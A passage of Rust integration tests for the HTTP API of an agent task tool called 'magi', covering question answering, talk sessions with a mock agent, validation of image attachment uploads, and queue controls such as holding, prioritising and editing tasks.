4348        // the same event that would resume the CLI call blocked in `magi
4349        // ask`.
4350        let mut q = store.get(&id).expect("get");
4351        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
4352            .expect("reply");
4353        store.put(&mut q).expect("put");
4354        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4355        assert_eq!(
4356            fx.get("/api/health").await.json()["questions_needs_owner"],
4357            1,
4358            "the agent's reply is what should light the banner back up"
4359        );
4360    }
4361
4362    #[tokio::test]
4363    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4364        let fx = Fixture::start().await;
4365        let store = fx.questions();
4366
4367        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4368        let res = fx
4369            .post(
4370                &format!("/api/questions/{empty_id}/say"),
4371                Some(r#"{"body":"   "}"#),
4372            )
4373            .await;
4374        assert_eq!(res.status, 400, "{}", res.body);
4375
4376        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4377        let mut answered = store.get(&answered_id).expect("get");
4378        answered
4379            .answer(Answer::Choice("SQLite".to_owned()))
4380            .expect("answer");
4381        store.put(&mut answered).expect("put");
4382        let res = fx
4383            .post(
4384                &format!("/api/questions/{answered_id}/say"),
4385                Some(r#"{"body":"still there?"}"#),
4386            )
4387            .await;
4388        assert_eq!(res.status, 409, "{}", res.body);
4389
4390        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4391        let mut abandoned = store.get(&abandoned_id).expect("get");
4392        abandoned.abandon("timed out");
4393        store.put(&mut abandoned).expect("put");
4394        let res = fx
4395            .post(
4396                &format!("/api/questions/{abandoned_id}/say"),
4397                Some(r#"{"body":"still there?"}"#),
4398            )
4399            .await;
4400        assert_eq!(res.status, 409, "{}", res.body);
4401    }
4402
4403    #[tokio::test]
4404    async fn an_answer_the_question_does_not_offer_is_refused() {
4405        let fx = Fixture::start().await;
4406        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4407        let path = format!("/api/questions/{id}/answer");
4408
4409        for body in [
4410            r#"{"choice":"Postgres"}"#,
4411            r#"{"text":"whatever you think"}"#,
4412            r#"{"choice":"Redis","text":"both"}"#,
4413            r#"{}"#,
4414        ] {
4415            let res = fx.post(&path, Some(body)).await;
4416            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4417            assert!(res.json()["error"].is_string(), "{}", res.body);
4418        }
4419        // Nothing above may have answered it.
4420        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4421    }
4422
4423    #[tokio::test]
4424    async fn a_free_text_question_takes_text_and_not_a_choice() {
4425        let fx = Fixture::start().await;
4426        let id = ask(&fx, "What should the flag be called?", &[]);
4427        let path = format!("/api/questions/{id}/answer");
4428
4429        assert_eq!(
4430            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4431            400
4432        );
4433        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4434        assert_eq!(res.status, 200, "{}", res.body);
4435        assert_eq!(res.json()["answer"]["text"], "--json");
4436    }
4437
4438    #[tokio::test]
4439    async fn an_unknown_question_is_a_json_404() {
4440        let fx = Fixture::start().await;
4441        let res = fx
4442            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4443            .await;
4444        assert_eq!(res.status, 404, "{}", res.body);
4445        assert!(res.json()["error"].is_string());
4446    }
4447
4448    /// New work reaches the queue through `magi task add`, a standing talk's
4449    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
4450    /// so the compose form and that route are gone. The tests that covered
4451    /// that route's validation went with it, and nothing was left asserting
4452    /// it stays gone — so a re-added handler would silently let the phone
4453    /// file briefs no one validated.
4454    #[tokio::test]
4455    async fn a_task_cannot_be_filed_over_the_phone_directly() {
4456        let f = Fixture::start().await;
4457
4458        let res = f
4459            .post(
4460                "/api/queue",
4461                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
4462            )
4463            .await;
4464
4465        assert_eq!(
4466            res.status, 405,
4467            "POST /api/queue must not be a route: {}",
4468            res.body
4469        );
4470        assert!(
4471            f.queue().list().is_empty(),
4472            "a task filed by a route that does not exist must not reach the disk"
4473        );
4474        // The path itself is still served — the Queue view reads it — and the
4475        // per-task controls are untouched by the entry being removed.
4476        assert_eq!(f.get("/api/queue").await.status, 200);
4477    }
4478
4479    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
4480    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
4481        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
4482            .expect("checkout dir");
4483    }
4484
4485    #[tokio::test]
4486    async fn repos_list_returns_name_and_path_for_every_configured_root() {
4487        let tmp = TempDir::new().expect("tempdir");
4488        let repo = tmp.path().join("repo");
4489        std::fs::create_dir_all(&repo).expect("repo dir");
4490        let root = tmp.path().join("root");
4491        make_checkout(&root, "github.com", "yukimemi", "magi");
4492        std::fs::write(
4493            repo.join("magi.toml"),
4494            format!(
4495                "[repos]\nroots = [{:?}]\n",
4496                root.to_string_lossy().into_owned()
4497            ),
4498        )
4499        .expect("write magi.toml");
4500
4501        let f = Fixture::with_repo(repo).await;
4502        let res = f.get("/api/repos").await;
4503        assert_eq!(res.status, 200, "{}", res.body);
4504        let list = res.json();
4505        let repos = list.as_array().expect("an array");
4506        assert_eq!(repos.len(), 1);
4507        assert_eq!(repos[0]["name"], "yukimemi/magi");
4508        assert!(
4509            repos[0]["path"]
4510                .as_str()
4511                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
4512            "{list}"
4513        );
4514    }
4515
4516    #[tokio::test]
4517    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
4518        let tmp = TempDir::new().expect("tempdir");
4519        let repo = tmp.path().join("repo");
4520        std::fs::create_dir_all(&repo).expect("repo dir");
4521        let root = tmp.path().join("root");
4522        make_checkout(&root, "github.com", "yukimemi", "magi");
4523        std::fs::write(
4524            repo.join("magi.toml"),
4525            format!(
4526                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
4527                root.to_string_lossy().into_owned()
4528            ),
4529        )
4530        .expect("write magi.toml");
4531
4532        let f = Fixture::with_repo(repo).await;
4533        let first = f.get("/api/repos").await;
4534        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
4535
4536        // A second checkout appears; within the TTL the cached answer must
4537        // not notice it.
4538        make_checkout(&root, "github.com", "yukimemi", "rvpm");
4539        let second = f.get("/api/repos").await;
4540        assert_eq!(
4541            second.json().as_array().map(Vec::len),
4542            Some(1),
4543            "a fresh cache must not rescan inside the TTL"
4544        );
4545
4546        let refreshed = f.get("/api/repos?refresh=1").await;
4547        assert_eq!(
4548            refreshed.json().as_array().map(Vec::len),
4549            Some(2),
4550            "an explicit refresh must rescan even inside the TTL"
4551        );
4552    }
4553
4554    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
4555    /// string, declared straight in a repository's own `magi.toml` rather
4556    /// than the operator's real roster. No real agent CLI is spawned - `sh`
4557    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
4558    /// this is safe to run over a real HTTP round trip.
4559    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
4560
4561    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
4562    /// real `Config::discover` to find an agent - `talk::begin` resolves one
4563    /// even though it takes no turn, and `talk_say` invokes one.
4564    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
4565        let tmp = TempDir::new().expect("tempdir");
4566        let repo = tmp.path().join("repo");
4567        std::fs::create_dir_all(&repo).expect("repo dir");
4568        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4569        let f = Fixture::with_repo(repo.clone()).await;
4570        (tmp, repo, f)
4571    }
4572
4573    #[tokio::test]
4574    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
4575        let (_tmp, _repo, f) = talk_fixture().await;
4576
4577        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
4578        // is the ordinary way a phone opens a talk.
4579        let opened = f.post("/api/talks", None).await;
4580        assert_eq!(opened.status, 201, "{}", opened.body);
4581        let body = opened.json();
4582        assert_eq!(body["status"], "open");
4583        assert_eq!(
4584            body["turns"].as_array().unwrap().len(),
4585            0,
4586            "opening takes no agent turn: there is nothing yet to answer"
4587        );
4588
4589        // An explicit empty object is the same request as none at all.
4590        let also_opened = f.post("/api/talks", Some("{}")).await;
4591        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
4592
4593        let listed = f.get("/api/talks").await.json();
4594        assert_eq!(listed.as_array().unwrap().len(), 2);
4595    }
4596
4597    #[tokio::test]
4598    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
4599        let f = Fixture::start().await;
4600        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
4601        let queue = f.queue();
4602        let mut mine = Task::new(
4603            "rename the loader".to_owned(),
4604            "rename the loader".to_owned(),
4605            PathBuf::from("/repo/magi"),
4606            Source::Agent {
4607                run: talk_id.clone(),
4608                node: "chat".to_owned(),
4609            },
4610        );
4611        queue.put(&mut mine).expect("file the task");
4612        let mut theirs = Task::new(
4613            "unrelated".to_owned(),
4614            "unrelated".to_owned(),
4615            PathBuf::from("/repo/magi"),
4616            Source::Human,
4617        );
4618        queue.put(&mut theirs).expect("file the task");
4619
4620        let res = f.get(&format!("/api/talks/{talk_id}")).await;
4621        assert_eq!(res.status, 200, "{}", res.body);
4622        let body = res.json();
4623        assert_eq!(
4624            body["status"], "open",
4625            "filing a task does not close a talk"
4626        );
4627        let tasks = body["tasks"].as_array().expect("tasks array");
4628        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
4629        assert_eq!(tasks[0]["id"], mine.id);
4630    }
4631
4632    #[tokio::test]
4633    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
4634        let (_tmp, _repo, f) = talk_fixture().await;
4635        let id = f.post("/api/talks", None).await.json()["id"]
4636            .as_str()
4637            .expect("id")
4638            .to_owned();
4639
4640        let res = f
4641            .post(
4642                &format!("/api/talks/{id}/say"),
4643                Some(r#"{"text":"what does the queue module do?"}"#),
4644            )
4645            .await;
4646        assert_eq!(res.status, 202, "{}", res.body);
4647        let queued = res.json();
4648        let turns = queued["turns"].as_array().expect("turns array");
4649        assert_eq!(
4650            turns.len(),
4651            1,
4652            "the answer reflects only what is on disk the instant it is sent, \
4653             before the agent's turn - which can run for the whole of \
4654             `[graph] timeout_talk` - has a chance to land: {queued}"
4655        );
4656        assert_eq!(turns[0]["who"], "operator");
4657        assert_eq!(turns[0]["body"], "what does the queue module do?");
4658
4659        let mut turns_after = 1;
4660        for _ in 0..200 {
4661            let detail = f.get(&format!("/api/talks/{id}")).await.json();
4662            turns_after = detail["turns"].as_array().expect("turns array").len();
4663            if turns_after == 2 {
4664                break;
4665            }
4666            tokio::time::sleep(Duration::from_millis(10)).await;
4667        }
4668        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
4669    }
4670
4671    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
4672    /// few more, since real uploads are never exactly eight bytes.
4673    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
4674
4675    #[tokio::test]
4676    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
4677        let f = Fixture::start().await;
4678        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
4679
4680        let res = f
4681            .post_bytes(
4682                &format!("/api/talks/{id}/attachments"),
4683                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
4684                PNG_BYTES,
4685            )
4686            .await;
4687        assert_eq!(res.status, 201, "{}", res.body);
4688        let body = res.json();
4689        assert_eq!(body["name"], "shot.png");
4690        assert_eq!(body["mime"], "image/png");
4691        assert_eq!(body["bytes"], PNG_BYTES.len());
4692        let att_id = body["id"].as_str().expect("id").to_owned();
4693        assert_eq!(
4694            att_id.len(),
4695            32,
4696            "the id must never be a client-suppliable path: {att_id}"
4697        );
4698
4699        let got = f
4700            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
4701            .await;
4702        assert_eq!(got.status, 200, "{}", got.body);
4703        assert_eq!(got.header("content-type"), Some("image/png"));
4704        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
4705        assert_eq!(got.bytes, PNG_BYTES);
4706    }
4707
4708    #[tokio::test]
4709    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
4710        let f = Fixture::start().await;
4711        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
4712
4713        // SVG can carry a `<script>`, so it is never on the whitelist even
4714        // though it is a real IANA image type.
4715        let svg = f
4716            .post_bytes(
4717                &format!("/api/talks/{id}/attachments"),
4718                &[("Content-Type", "image/svg+xml")],
4719                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
4720            )
4721            .await;
4722        assert!(
4723            (400..500).contains(&svg.status),
4724            "svg must be refused: {} {}",
4725            svg.status,
4726            svg.body
4727        );
4728        assert!(svg.body.contains("SVG"), "{}", svg.body);
4729
4730        let text = f
4731            .post_bytes(
4732                &format!("/api/talks/{id}/attachments"),
4733                &[("Content-Type", "text/plain")],
4734                b"just some text",
4735            )
4736            .await;
4737        assert!(
4738            (400..500).contains(&text.status),
4739            "an unlisted type must be refused: {} {}",
4740            text.status,
4741            text.body
4742        );
4743
4744        // The declared type is a real png, but the size check runs before
4745        // the bytes are even looked at.
4746        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
4747        let big = f
4748            .post_bytes(
4749                &format!("/api/talks/{id}/attachments"),
4750                &[("Content-Type", "image/png")],
4751                &oversized,
4752            )
4753            .await;
4754        assert_eq!(
4755            big.status,
4756            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
4757            "{}",
4758            big.body
4759        );
4760    }
4761
4762    #[tokio::test]
4763    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
4764        let f = Fixture::start().await;
4765        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
4766
4767        // A whitelisted `Content-Type`, but bytes that are not actually a
4768        // png - the declared header alone is never trusted.
4769        let res = f
4770            .post_bytes(
4771                &format!("/api/talks/{id}/attachments"),
4772                &[("Content-Type", "image/png")],
4773                b"<html>not a picture</html>",
4774            )
4775            .await;
4776        assert!((400..500).contains(&res.status), "{}", res.body);
4777    }
4778
4779    #[tokio::test]
4780    async fn an_unknown_attachment_id_is_a_404() {
4781        let f = Fixture::start().await;
4782        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
4783
4784        let res = f
4785            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
4786            .await;
4787        assert_eq!(res.status, 404, "{}", res.body);
4788    }
4789
4790    #[tokio::test]
4791    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
4792        let f = Fixture::start().await;
4793        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
4794
4795        let uploaded = f
4796            .post_bytes(
4797                &format!("/api/talks/{id}/attachments"),
4798                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
4799                PNG_BYTES,
4800            )
4801            .await;
4802        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
4803        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
4804
4805        let res = f
4806            .post(
4807                &format!("/api/talks/{id}/say"),
4808                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
4809            )
4810            .await;
4811        assert_eq!(res.status, 202, "{}", res.body);
4812        let queued = res.json();
4813        let turns = queued["turns"].as_array().expect("turns array");
4814        assert_eq!(
4815            turns.len(),
4816            1,
4817            "an empty body with an attachment is still a turn: {queued}"
4818        );
4819        assert_eq!(turns[0]["who"], "operator");
4820        assert_eq!(turns[0]["body"], "");
4821        let atts = turns[0]["attachments"]
4822            .as_array()
4823            .expect("attachments array");
4824        assert_eq!(atts.len(), 1);
4825        assert_eq!(atts[0]["id"], att_id);
4826        assert_eq!(atts[0]["mime"], "image/png");
4827
4828        // Not only in the response: `record` flushes to disk before the
4829        // agent's own turn is even spawned.
4830        let on_disk = f.talks().get(&id).expect("get");
4831        assert_eq!(on_disk.turns[0].attachments.len(), 1);
4832        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
4833    }
4834
4835    #[tokio::test]
4836    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
4837        let f = Fixture::start().await;
4838        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
4839
4840        let res = f
4841            .post(
4842                &format!("/api/talks/{id}/say"),
4843                Some(&format!(
4844                    r#"{{"text":"hi","attachments":["{}"]}}"#,
4845                    "a".repeat(32)
4846                )),
4847            )
4848            .await;
4849        assert!((400..500).contains(&res.status), "{}", res.body);
4850        assert!(res.body.contains("unknown attachment"), "{}", res.body);
4851
4852        let on_disk = f.talks().get(&id).expect("get");
4853        assert!(
4854            on_disk.turns.is_empty(),
4855            "a rejected attachment id must not partially record the turn: {:?}",
4856            on_disk.turns
4857        );
4858    }
4859
4860    #[tokio::test]
4861    async fn talk_close_makes_the_talk_refuse_further_turns() {
4862        let f = Fixture::start().await;
4863        let id = seed_talk(&f, "20260904-014455-cd34", "open");
4864
4865        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
4866        assert_eq!(closed.status, 200, "{}", closed.body);
4867        assert_eq!(closed.json()["status"], "closed");
4868
4869        // Idempotent: closing an already-closed talk is not an error.
4870        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
4871        assert_eq!(closed_again.status, 200);
4872        assert_eq!(closed_again.json()["status"], "closed");
4873    }
4874
4875    #[tokio::test]
4876    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
4877        let (_tmp, _repo, f) = talk_fixture().await;
4878        let id = f.post("/api/talks", None).await.json()["id"]
4879            .as_str()
4880            .expect("id")
4881            .to_owned();
4882        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
4883        assert_eq!(closed.status, 200, "{}", closed.body);
4884
4885        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
4886        assert_eq!(reopened.status, 200, "{}", reopened.body);
4887        assert_eq!(reopened.json()["status"], "open");
4888
4889        // Idempotent: reopening an already-open talk is not an error.
4890        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
4891        assert_eq!(reopened_again.status, 200);
4892        assert_eq!(reopened_again.json()["status"], "open");
4893
4894        let said = f
4895            .post(
4896                &format!("/api/talks/{id}/say"),
4897                Some(r#"{"text":"still there?"}"#),
4898            )
4899            .await;
4900        assert_eq!(
4901            said.status, 202,
4902            "a reopened talk accepts turns again: {}",
4903            said.body
4904        );
4905    }
4906
4907    #[tokio::test]
4908    async fn talk_reopen_on_an_unknown_id_is_404() {
4909        let f = Fixture::start().await;
4910        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
4911        assert_eq!(res.status, 404, "{}", res.body);
4912    }
4913
4914    #[tokio::test]
4915    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
4916        let f = Fixture::start().await;
4917        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
4918
4919        let deleted = f.delete(&format!("/api/talks/{id}")).await;
4920        assert_eq!(deleted.status, 204, "{}", deleted.body);
4921
4922        let after = f.get(&format!("/api/talks/{id}")).await;
4923        assert_eq!(after.status, 404, "{}", after.body);
4924
4925        let listed = f.get("/api/talks").await.json();
4926        assert!(
4927            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
4928            "a deleted talk must not linger in the list: {listed}"
4929        );
4930    }
4931
4932    #[tokio::test]
4933    async fn talk_delete_on_an_unknown_id_is_404() {
4934        let f = Fixture::start().await;
4935        let res = f.delete("/api/talks/nonexistent-id").await;
4936        assert_eq!(res.status, 404, "{}", res.body);
4937    }
4938
4939    #[tokio::test]
4940    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
4941        let f = Fixture::start().await;
4942        let queue = f.queue();
4943        let mut task = Task::new(
4944            "spent".to_owned(),
4945            "Try again".to_owned(),
4946            PathBuf::from("/repo/magi"),
4947            Source::Human,
4948        );
4949        task.start("20260902-140502-bbbb".to_owned());
4950        task.fail("agent gave up", 9);
4951        queue.put(&mut task).expect("file the task");
4952
4953        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4954        assert_eq!(held.status, 200);
4955        assert_eq!(held.json()["status_str"], "held");
4956
4957        let released = f
4958            .post(&format!("/api/queue/{}/release", task.id), None)
4959            .await;
4960        assert_eq!(released.status, 200);
4961        assert_eq!(released.json()["status_str"], "queued");
4962        assert_eq!(
4963            released.json()["attempts"],
4964            0,
4965            "release is a real second chance, not an instant re-hold"
4966        );
4967        assert_eq!(
4968            queue.get(&task.id).expect("reload").status,
4969            TaskStatus::Queued,
4970            "the change is on disk, not only in the reply"
4971        );
4972        assert!(
4973            !f.home
4974                .path()
4975                .join("queue")
4976                .join(format!("{}.lock", task.id))
4977                .exists(),
4978            "the claim the mutation took is released again"
4979        );
4980    }
4981
4982    #[tokio::test]
4983    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4984        let f = Fixture::start().await;
4985        let queue = f.queue();
4986        let mut task = Task::new(
4987            "busy".to_owned(),
4988            "Running right now".to_owned(),
4989            PathBuf::from("/repo/magi"),
4990            Source::Human,
4991        );
4992        queue.put(&mut task).expect("file the task");
4993        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4994
4995        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4996
4997        assert_eq!(res.status, 409);
4998        assert_eq!(
4999            queue.get(&task.id).expect("reload").status,
5000            TaskStatus::Queued,
5001            "the refused hold changed nothing"
5002        );
5003    }
5004
5005    #[tokio::test]
5006    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
5007        let f = Fixture::start().await;
5008        let queue = f.queue();
5009        let mut task = Task::new(
5010            "waiting on the migration".to_owned(),
5011            "Do the thing".to_owned(),
5012            PathBuf::from("/repo/magi"),
5013            Source::Human,
5014        );
5015        queue.put(&mut task).expect("file the task");
5016
5017        let held = f
5018            .post(
5019                &format!("/api/queue/{}/hold", task.id),
5020                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
5021            )
5022            .await;
5023        assert_eq!(held.status, 200, "{}", held.body);
5024        assert_eq!(held.json()["status_str"], "held");
5025        assert_eq!(
5026            held.json()["hold_reason"],
5027            "waiting for 20260101-000000-aaaa to land"
5028        );
5029
5030        let listed = f.get("/api/queue").await.json();
5031        assert_eq!(
5032            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
5033            "the card reads the reason off the same list route"
5034        );
5035
5036        // A hold with no body at all must keep working - most holds have no
5037        // reason to give.
5038        let mut plain = Task::new(
5039            "no reason given".to_owned(),
5040            "Do another thing".to_owned(),
5041            PathBuf::from("/repo/magi"),
5042            Source::Human,
5043        );
5044        queue.put(&mut plain).expect("file the task");
5045        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
5046        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
5047        assert!(held_plain.json()["hold_reason"].is_null());
5048
5049        let released = f
5050            .post(&format!("/api/queue/{}/release", task.id), None)
5051            .await;
5052        assert_eq!(released.status, 200);
5053        assert!(
5054            released.json()["hold_reason"].is_null(),
5055            "a release must clear the reason so the next hold does not inherit it"
5056        );
5057    }
5058
5059    #[tokio::test]
5060    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
5061        let f = Fixture::start().await;
5062        let queue = f.queue();
5063        let mut older = Task::new(
5064            "filed first".to_owned(),
5065            "x".to_owned(),
5066            PathBuf::from("/repo/magi"),
5067            Source::Human,
5068        );
5069        older.id = "20260101-000001-aaaa".to_owned();
5070        let mut newer = Task::new(
5071            "filed second".to_owned(),
5072            "x".to_owned(),
5073            PathBuf::from("/repo/magi"),
5074            Source::Human,
5075        );
5076        newer.id = "20260101-000002-bbbb".to_owned();
5077        queue.put(&mut older).expect("file older");
5078        queue.put(&mut newer).expect("file newer");
5079
5080        // Equal priority: the newer task leads, the same order the old
5081        // newest-first `list()` already gave every equal-priority queue.
5082        let before = f.get("/api/queue").await.json();
5083        assert_eq!(before[0]["id"], newer.id);
5084        assert_eq!(before[1]["id"], older.id);
5085
5086        // Raising the *older* task is the meaningful case: it can only lead
5087        // now because its priority says so, not because it happens to be
5088        // newest.
5089        let raised = f
5090            .post(
5091                &format!("/api/queue/{}/priority", older.id),
5092                Some(r#"{"priority":10}"#),
5093            )
5094            .await;
5095        assert_eq!(raised.status, 200, "{}", raised.body);
5096        assert_eq!(raised.json()["priority"], 10);
5097
5098        let after = f.get("/api/queue").await.json();
5099        let names: Vec<&str> = after
5100            .as_array()
5101            .unwrap()
5102            .iter()
5103            .map(|t| t["id"].as_str().unwrap())
5104            .collect();
5105        // Highest priority first, which is the order next_runnable and
5106        // `magi task list` both use - GET /api/queue must agree with it
5107        // immediately, not just once the loop claims the task.
5108        assert_eq!(names[0], older.id, "the raised task now sorts first");
5109    }
5110
5111    #[tokio::test]
5112    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
5113        let f = Fixture::start().await;
5114        let queue = f.queue();
5115        let mut task = Task::new(
5116            "in flight".to_owned(),
5117            "x".to_owned(),
5118            PathBuf::from("/repo/magi"),
5119            Source::Human,
5120        );
5121        task.start("20260902-140502-bbbb".to_owned());
5122        queue.put(&mut task).expect("file the task");
5123
5124        let res = f
5125            .post(
5126                &format!("/api/queue/{}/priority", task.id),
5127                Some(r#"{"priority":9}"#),
5128            )
5129            .await;
5130        assert_eq!(res.status, 400, "{}", res.body);
5131        assert!(
5132            res.json()["error"]
5133                .as_str()
5134                .is_some_and(|e| e.contains("running")),
5135            "{}",
5136            res.body
5137        );
5138        assert_eq!(
5139            queue.get(&task.id).expect("reload").priority,
5140            0,
5141            "the refused write must not partially apply"
5142        );
5143    }
5144
5145    #[tokio::test]
5146    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
5147        let f = Fixture::start().await;
5148        let queue = f.queue();
5149        let mut task = Task::new(
5150            "old title".to_owned(),
5151            "old instruction".to_owned(),
5152            PathBuf::from("/repo/magi"),
5153            Source::Agent {
5154                run: "20260101-000000-beef".to_owned(),
5155                node: "implement".to_owned(),
5156            },
5157        );
5158        task.runs.push("20260101-000000-beef".to_owned());
5159        queue.put(&mut task).expect("file the task");
5160        let created_at = task.created_at;
5161
5162        let edited = f
5163            .post(
5164                &format!("/api/queue/{}/edit", task.id),
5165                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
5166            )
5167            .await;
5168        assert_eq!(edited.status, 200, "{}", edited.body);
5169        let body = edited.json();
5170        assert_eq!(body["title"], "new title");
5171        assert_eq!(body["instruction"], "new instruction");
5172        assert_eq!(body["id"], task.id, "editing must not mint a new id");
5173        assert_eq!(body["created_at"], created_at.to_string());
5174        assert_eq!(
5175            body["source"]["kind"], "agent",
5176            "editing a task an agent filed must not turn it human: {body}"
5177        );
5178        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
5179
5180        let reloaded = queue.get(&task.id).expect("reload");
5181        assert_eq!(reloaded.title, "new title");
5182        assert_eq!(reloaded.instruction, "new instruction");
5183    }
5184
5185    #[tokio::test]
5186    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
5187        let f = Fixture::start().await;
5188        let queue = f.queue();
5189        let mut task = Task::new(
5190            "in flight".to_owned(),
5191            "do not touch".to_owned(),
5192            PathBuf::from("/repo/magi"),
5193            Source::Human,
5194        );
5195        task.start("20260902-140502-bbbb".to_owned());
5196        queue.put(&mut task).expect("file the task");
5197
5198        let res = f
5199            .post(
5200                &format!("/api/queue/{}/edit", task.id),
5201                Some(r#"{"title":"x","instruction":"y"}"#),
5202            )
5203            .await;
5204        assert_eq!(res.status, 400, "{}", res.body);
5205        assert!(
5206            res.json()["error"]
5207                .as_str()
5208                .is_some_and(|e| e.contains("running")),
5209            "{}",
5210            res.body
5211        );
5212        assert_eq!(
5213            queue.get(&task.id).expect("reload").instruction,
5214            "do not touch",
5215            "the refused edit must not change the file"
5216        );
5217    }
5218
5219    #[tokio::test]
5220    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
5221        let f = Fixture::start().await;
5222        let queue = f.queue();
5223        let mut task = Task::new(
5224            "busy".to_owned(),
5225            "Running right now".to_owned(),
5226            PathBuf::from("/repo/magi"),
5227            Source::Human,
5228        );
5229        queue.put(&mut task).expect("file the task");
5230        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5231
5232        let priority = f
5233            .post(
5234                &format!("/api/queue/{}/priority", task.id),
5235                Some(r#"{"priority":9}"#),
5236            )
5237            .await;
5238        assert_eq!(priority.status, 409, "{}", priority.body);
5239
5240        let edit = f
5241            .post(
5242                &format!("/api/queue/{}/edit", task.id),
5243                Some(r#"{"title":"x","instruction":"y"}"#),
5244            )
5245            .await;
5246        assert_eq!(edit.status, 409, "{}", edit.body);
5247    }
5248
5249    #[tokio::test]
5250    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
5251        let f = Fixture::start().await;
5252        let queue = f.queue();
5253        let mut task = Task::new(
5254            "shipped by hand".to_owned(),
5255            "merged outside the loop".to_owned(),
5256            PathBuf::from("/repo/magi"),
5257            Source::Agent {
5258                run: "20260101-000000-b455".to_owned(),
5259                node: "implement".to_owned(),
5260            },
5261        );
5262        task.runs.push("20260101-000000-b455".to_owned());
5263        task.runs.push("20260101-000000-9af4".to_owned());
5264        queue.put(&mut task).expect("file the task");
